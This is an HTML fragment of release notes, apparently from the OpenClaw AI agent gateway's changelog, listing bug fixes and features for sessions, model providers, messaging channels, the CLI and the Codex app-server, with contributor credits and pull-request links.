<li>Sessions: enforce the session write-lock max-hold policy during lock acquisition so long-held locks can be reclaimed before the stale-lock window. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508768461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85764/hovercard" href="https://github.com/openclaw/openclaw/pull/85764">#85764</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/njuboy11/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/njuboy11">@njuboy11</a>.</li>
<li>Models: prune retired Groq, GitHub Copilot, OpenAI, xAI, and old Claude catalog entries, with doctor migration to upgrade existing configs to current provider refs.</li>
<li>Doctor/update: recognize junction-backed source checkouts as git installs by comparing canonical paths before showing package-manager update guidance. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4455291382" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82215" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82215/hovercard" href="https://github.com/openclaw/openclaw/issues/82215">#82215</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/igormf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/igormf">@igormf</a>.</li>
<li>Channels: honor <code>/verbose on</code> for tool/progress summaries across direct chats, groups, channels, and forum topics while preserving quiet default behavior. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505095597" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85488" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85488/hovercard" href="https://github.com/openclaw/openclaw/pull/85488">#85488</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kurplunkin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kurplunkin">@kurplunkin</a>.</li>
<li>CLI/skills: show an all-ready note with next-step commands when skill setup has no missing dependencies to install. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496420539" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85032" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85032/hovercard" href="https://github.com/openclaw/openclaw/pull/85032">#85032</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aniruddhaadak80/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aniruddhaadak80">@aniruddhaadak80</a>.</li>
<li>Microsoft Foundry: route DeepSeek V4 Pro and Flash models through the Foundry Responses API while keeping older DeepSeek models on their existing path. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506164844" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85549" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85549/hovercard" href="https://github.com/openclaw/openclaw/pull/85549">#85549</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roslinmahmud/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roslinmahmud">@roslinmahmud</a>.</li>
<li>Status/usage: show configured cost estimates for AWS SDK models in full usage output while keeping token-only usage replies cost-free. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506775969" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85619" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85619/hovercard" href="https://github.com/openclaw/openclaw/pull/85619">#85619</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ItsOtherMauridian/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ItsOtherMauridian">@ItsOtherMauridian</a>.</li>
<li>Agents/OpenAI Responses: retry non-visible reasoning-only turns for OpenAI Responses API families instead of treating them as empty failed turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506665584" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85603" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85603/hovercard" href="https://github.com/openclaw/openclaw/pull/85603">#85603</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</li>
<li>Directive tags: preserve message and content-part object identity when display stripping makes no directive-tag changes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507633147" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85682" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85682/hovercard" href="https://github.com/openclaw/openclaw/pull/85682">#85682</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/willamhou/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/willamhou">@willamhou</a>.</li>
<li>Telegram: send local <code>path</code>/<code>filePath</code> and structured attachment media from <code>sendMessage</code> actions instead of dropping them or sending text-only messages. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499834705" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85219" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85219/hovercard" href="https://github.com/openclaw/openclaw/pull/85219">#85219</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keshavbotagent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keshavbotagent">@keshavbotagent</a>.</li>
<li>Sessions/status: show the estimated context budget when fresh provider usage is unavailable and clear stale estimates across session resets and compaction boundaries. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492043109" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84830" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84830/hovercard" href="https://github.com/openclaw/openclaw/pull/84830">#84830</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>.</li>
<li>Gateway/config: pin relative <code>OPENCLAW_STATE_DIR</code> overrides to an absolute path at startup so later working-directory changes cannot retarget gateway state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4116048289" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52264" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/52264/hovercard" href="https://github.com/openclaw/openclaw/pull/52264">#52264</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PerfectPan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PerfectPan">@PerfectPan</a>.</li>
<li>Release/package: run npm release, prepublish, and postpublish verification through Windows-safe npm command shims so native Windows checks can execute <code>npm.cmd</code> instead of treating it as a binary.</li>
<li>Agents/harness: pass CLI runtime aliases through harness selection so provider-owned CLI aliases no longer get rejected before reaching the right runtime. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506833876" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85631" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85631/hovercard" href="https://github.com/openclaw/openclaw/pull/85631">#85631</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/potterdigital/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/potterdigital">@potterdigital</a>.</li>
<li>Secrets: show the irreversible apply warning after interactive <code>secrets configure</code> confirmation so confirmed migrations still get the final safety prompt. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506862743" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85638" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85638/hovercard" href="https://github.com/openclaw/openclaw/pull/85638">#85638</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alkor2000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alkor2000">@alkor2000</a>.</li>
<li>Agents/CLI output: ignore cumulative Claude <code>stream-json</code> result usage when assistant usage events are present, preventing inflated cache-read accounting. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506794947" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85625" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85625/hovercard" href="https://github.com/openclaw/openclaw/pull/85625">#85625</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhouhe-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhouhe-xydt">@zhouhe-xydt</a>.</li>
<li>CLI: keep <code>waitForever()</code> alive by leaving its keep-alive interval ref'd so the public helper no longer exits immediately with Node's unsettled-await code. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507745080" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85694" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85694/hovercard" href="https://github.com/openclaw/openclaw/pull/85694">#85694</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/m1qaweb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/m1qaweb">@m1qaweb</a>.</li>
<li>Agents/bootstrap: guard bootstrap name checks against missing file names so malformed bootstrap entries warn and truncate instead of crashing. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505840430" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85523" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85523/hovercard" href="https://github.com/openclaw/openclaw/issues/85523">#85523</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506755578" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85615" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85615/hovercard" href="https://github.com/openclaw/openclaw/pull/85615">#85615</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhouhe-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhouhe-xydt">@zhouhe-xydt</a>.</li>
<li>CLI/tasks: reject partially numeric <code>openclaw tasks audit --limit</code> values so audit limits must be real positive integers instead of accepting strings like <code>5abc</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493313282" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84901" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84901/hovercard" href="https://github.com/openclaw/openclaw/pull/84901">#84901</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jbetala7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jbetala7">@jbetala7</a>.</li>
<li>Status/diagnostics: bound deep Docker audit probes so <code>openclaw status --deep</code> reports slow container checks instead of hanging behind unbounded inspection. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504716306" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85476" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85476/hovercard" href="https://github.com/openclaw/openclaw/pull/85476">#85476</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>.</li>
<li>Providers/Anthropic: migrate 1M context handling to GA-capable Claude 4.x models by sizing eligible models at 1M without the retired <code>context-1m-2025-08-07</code> beta, ignoring that retired beta in older configs, and preserving OAuth-required Anthropic beta headers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4074276828" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/45613" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/45613/hovercard" href="https://github.com/openclaw/openclaw/pull/45613">#45613</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/haoyu-haoyu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/haoyu-haoyu">@haoyu-haoyu</a>.</li>
<li>Cron/Telegram: parse forum-topic delivery targets through the Telegram plugin instead of cron core, including <code>:topic:</code> and <code>:topicId</code> forms for announce delivery. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/etticat/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/etticat">@etticat</a>.</li>
<li>Twitch: keep stale message-handler cleanup callbacks from removing newer handler registrations for the same account, preserving inbound message delivery after reconnects. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473949550" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83888" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83888/hovercard" href="https://github.com/openclaw/openclaw/issues/83888">#83888</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503861323" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85425" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85425/hovercard" href="https://github.com/openclaw/openclaw/pull/85425">#85425</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alkor2000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alkor2000">@alkor2000</a>.</li>
<li>Memory/LanceDB: expose public memory artifacts through the active memory provider bridge so memory-wiki imports durable memory files, daily notes, dream reports, and event logs without depending on memory-core internals. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469394538" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83604" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83604/hovercard" href="https://github.com/openclaw/openclaw/issues/83604">#83604</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496988085" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85060/hovercard" href="https://github.com/openclaw/openclaw/pull/85060">#85060</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</li>
<li>Crabbox: keep AWS hydration compatible with local Actions replay by inlining the hydrate workflow's Node/pnpm setup instead of invoking repo-local composite actions.</li>
<li>Agents/subagents: simplify native sub-agent completion handoff so children report their latest visible assistant result to the requester without using <code>message</code>, while keeping parent-owned message-tool delivery policy intact. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497194072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85070" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85070/hovercard" href="https://github.com/openclaw/openclaw/issues/85070">#85070</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497708252" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85089" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85089/hovercard" href="https://github.com/openclaw/openclaw/pull/85089">#85089</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</li>
<li>Docker setup: stop printing the Gateway bearer token in setup logs and printed follow-up commands.</li>
<li>Agents: let embedded compaction fallback retries proceed when PI-compatible candidates do not need agent harness plugin preparation.</li>
<li>Agents/tools: honor configured custom provider API keys when deciding whether media, image-generation, video-generation, music-generation, and PDF tools are available. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506426602" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85570" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85570/hovercard" href="https://github.com/openclaw/openclaw/pull/85570">#85570</a>)</li>
<li>StepFun: stop advertising stale generic API key auth choices so onboarding only offers runtime-backed Standard and Step Plan choices.</li>
<li>Diagnostics: keep OpenTelemetry log bodies behind explicit content capture and scrub scoped agent-session keys from OpenTelemetry and Prometheus labels while preserving bounded queue-lane prefixes.</li>
<li>Windows installer: fail Git checkout installs when <code>pnpm install</code> or <code>pnpm build</code> fails instead of writing a wrapper to a missing CLI build.</li>
<li>Sessions: surface previous-transcript archive failures during <code>/new</code> rotation so disk rename errors are logged instead of silently hiding stranded transcript files. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4450603065" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81984" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81984/hovercard" href="https://github.com/openclaw/openclaw/issues/81984">#81984</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506566941" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85586" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85586/hovercard" href="https://github.com/openclaw/openclaw/pull/85586">#85586</a>, from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4452599340" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82081" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82081/hovercard" href="https://github.com/openclaw/openclaw/pull/82081">#82081</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xghost42/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xghost42">@0xghost42</a>.</li>
<li>TUI/agents: mirror internal-ui message-tool replies into final chat output so message-tool-only agents remain visible in <code>openclaw tui</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506023907" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85538" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85538/hovercard" href="https://github.com/openclaw/openclaw/issues/85538">#85538</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/danpolasek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/danpolasek">@danpolasek</a>.</li>
<li>Agents: keep parallel OpenAI-compatible tool-call deltas in separate argument buffers so interleaved tool calls no longer corrupt streamed arguments. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456042108" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82263" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82263/hovercard" href="https://github.com/openclaw/openclaw/pull/82263">#82263</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luna-system/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luna-system">@luna-system</a>.</li>
<li>Memory/doctor: report missing or unusable QMD workspace directories as workspace failures instead of generic binary failures. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4224755918" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63167" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63167/hovercard" href="https://github.com/openclaw/openclaw/pull/63167">#63167</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sercada/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sercada">@sercada</a>.</li>
<li>Debug proxy: record CONNECT client-socket errors and destroy the paired upstream socket so abrupt client disconnects no longer leak tunnel resources. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4458576707" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82444" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82444/hovercard" href="https://github.com/openclaw/openclaw/pull/82444">#82444</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</li>
<li>Diffs: continue hydrating later diff cards when one card fails so a single broken card no longer blanks the whole diff viewer. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491329251" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84775" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84775/hovercard" href="https://github.com/openclaw/openclaw/pull/84775">#84775</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cosmopolitan033/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cosmopolitan033">@cosmopolitan033</a>.</li>
<li>Mac app: use the native settings sidebar window chrome so the sidebar toggle stays on the left and content no longer clips under oversized titlebar padding.</li>
<li>QA-Lab/Codex: bundle auth/plugin fixture imports for flow scenarios and let terminal async media tools end Codex app-server turns without timing out. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416570826" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80397" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80397/hovercard" href="https://github.com/openclaw/openclaw/issues/80397">#80397</a>, refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Gateway/agents: preserve fresh session overrides and metadata when stale cached agent-session entries race with store updates, so subagent model/provider overrides and routing policy survive concurrent writes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3953968159" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/19328" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/19328/hovercard" href="https://github.com/openclaw/openclaw/pull/19328">#19328</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CodeReclaimers/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CodeReclaimers">@CodeReclaimers</a>.</li>
<li>Control UI/chat: keep chat session search inline with the session selector so the header no longer shows a duplicate standalone search row.</li>
<li>Control UI/chat: collapse focused-mode header chrome and suppress hidden-header scroll updates so focus mode no longer jumps while scrolling. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Codex app-server: restart the native app-server and retry once when server-side compaction times out, so preflight compaction stalls recover instead of failing every dispatch. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505443171" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85500" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85500/hovercard" href="https://github.com/openclaw/openclaw/pull/85500">#85500</a>)</li>
<li>Restore Control UI gateway token pairing [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504391156" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85459" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85459/hovercard" href="https://github.com/openclaw/openclaw/pull/85459">#85459</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>OpenAI video: honor configured provider request private-network opt-in for local/custom video endpoints so explicitly trusted mock and self-hosted providers are not blocked. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>OpenAI video: send uploaded video edit requests to the documented <code>/videos/edits</code> endpoint with a <code>video</code> file instead of posting MP4 references to <code>/videos</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/channels: preserve message-tool delivery evidence through gateway agent completion handoffs so successful generated media sends are not followed by false failure messages. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/update: repair managed npm plugin <code>openclaw</code> peer links during post-core convergence and reject stale or wrong-target peer links before restart. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473034358" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83794/hovercard" href="https://github.com/openclaw/openclaw/pull/83794">#83794</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>CLI/agents: default new omitted-account bindings to all accounts when the channel has multiple configured accounts, and clarify account-scope docs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4094569524" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49769" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/49769/hovercard" href="https://github.com/openclaw/openclaw/pull/49769">#49769</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gcaufy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gcaufy">@Gcaufy</a>.</li>
<li>Codex app-server: let authorized <code>/codex</code> control commands such as <code>/codex detach</code> escape plugin-owned conversation bindings while keeping unknown or unauthorized slash text routed to the bound plugin. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499059714" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85157" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85157/hovercard" href="https://github.com/openclaw/openclaw/issues/85157">#85157</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499435509" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85188" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85188/hovercard" href="https://github.com/openclaw/openclaw/pull/85188">#85188</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Auto-reply/models: keep <code>/models</code> browse replies fast by sharing the bounded read-only catalog path with Gateway model listing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490684687" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84735" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84735/hovercard" href="https://github.com/openclaw/openclaw/pull/84735">#84735</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/safrano9999/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/safrano9999">@safrano9999</a>.</li>
<li>Codex app-server: disable native Code Mode when the effective exec host is <code>node</code> and keep OpenClaw <code>exec</code>/<code>process</code> available, so <code>/exec host=node</code> routes shell commands through the selected node instead of the gateway. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496082157" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85012" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85012/hovercard" href="https://github.com/openclaw/openclaw/issues/85012">#85012</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497727664" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85090" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85090/hovercard" href="https://github.com/openclaw/openclaw/pull/85090">#85090</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sahilsatralkar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sahilsatralkar">@sahilsatralkar</a>.</li>
